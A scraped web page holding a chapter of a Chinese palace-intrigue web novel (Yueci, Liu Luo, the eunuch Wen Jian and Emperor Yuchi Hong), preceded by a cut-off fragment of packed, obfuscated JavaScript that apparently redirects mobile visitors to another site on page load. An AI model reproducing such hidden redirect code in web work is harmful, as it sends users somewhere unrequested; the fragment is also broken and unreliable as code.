d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264858|163174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻鉴呢,他知道吗? 禁忌的屋门骤然被人推开,里面的两人都吓了一跳,豁然摆出攻击的姿态转身,却见是熟人。 青雀只看一眼屋内情形,便知道发生了什么事,先是波澜不惊对月慈道:“祺妃娘娘醒了,她想找你过去说说话。” 继而看向柳萝,“姑娘,胡闹够了,你该离开这里了。” 柳萝皱眉道:“我不走。” 她脸上的坚毅之色让月慈有一瞬间的恍惚。 柳萝拨开地上的一团湿衣裳,捡起里面的那把窄刀,道:“你们没有选择,我也是。如果不能亲自为父报仇,那我就枉为人子。” 青雀劝不动她。 实际上,月慈和柳萝,他一个都说不过,也一个都劝不动。这两人就是天生的硬骨头,打不断,就算勉强打折了,也还是筋连着筋,没过多久长好后,能比之前更倔。 简直令人头疼。 反正拦不住,他也就不拦了,只道:“若你们要动手的话,机会只有一次。” 月慈巧妙地察觉到了那个“们”字。 —— 观心湖中央的亭子内重新摆了一方酒宴,这回没有舞姬,只有一名乐师坐在中间抚琴。 金庭之朝尉迟泓举杯道:“陛下恕罪,今日是老臣粗心大意,没能叫人仔细看着祺妃娘娘,差点害了娘娘和龙嗣——这杯酒,算是老臣给陛下赔罪!” 说完,将杯中烈酒一饮而尽,被呛得咳嗽连连。 尉迟泓还没答话,另一边坐着的尉迟炯却意味深长道:“侯爷何罪之有啊,要怪也得怪那些侍从侍女粗心大意,要本王说,有这等下人,就该全将他们杀了。” 那阴鸷的目光从闻鉴脸上瞥过。 闻鉴依旧一副不动如山的样子,像是没听出尉迟炯话里的意思,倒是那弹琴的乐师被吓了一跳,拨错了一个音。 闻鉴冷眼扫过去:“这等学艺不精之人是如何敢到陛下面前丢人现眼的,滚下去。” 乐师吓了一跳,磕头后连忙退下。 尉迟泓脸上喝醉的红晕消褪不少,但听他们一人一言地来来回回只觉得头疼,拧眉道:“好了好了,此事就当过去了。朕记得侯爷不是准备了很多余兴节目么,怎么光就一个人弹琴,冷冷清清的多没意思。” 他倒心大,那头妃子怀着龙嗣落水,才过去不到几个时辰,就又想着寻欢作乐了。 金庭之和尉迟炯暗中对视一眼。 金庭之道:“陛下想看的话,老臣这就命人安排下去。” 金庭之离开后,尉迟炯很快也起身道:“臣弟也去走走。” 直到两人的身影渐行渐远,尉迟泓眼中的浑浊才褪去,变得一片清明,抬手将面前的酒一饮而尽,却是收起了方才吊儿郎当的模样。 他看向闻鉴,不怒自威:“祺妃的事,你当真心软了?” 闻鉴岿然不动,诚恳道:“奴才愿意受罚。” 尉迟泓眉头一紧,紧跟着脑海中晃过一道人影,诧异道:“难不成,你真的想要她?” 提到那人,闻鉴那原本套在外头坚硬如铁的壳子忽然被打出了个洞,他薄薄的眼皮一掀,汹涌着暗火的眸子落在尉迟泓脸上。 尉迟泓哂笑道:“你想要她,可她未必想要你。闻鉴,你自小陪在朕的身边,跟随朕走了这么远的路,难道就要因为一个女人,将朕狠心撇在半路吗?” 闻鉴答得迅速,他甚至觉得这是自己第一次在尉迟泓面前挺直了脊背说话:“正因为如此——陛下,奴才已经陪您走了二十载,剩下的路,我想自己走。”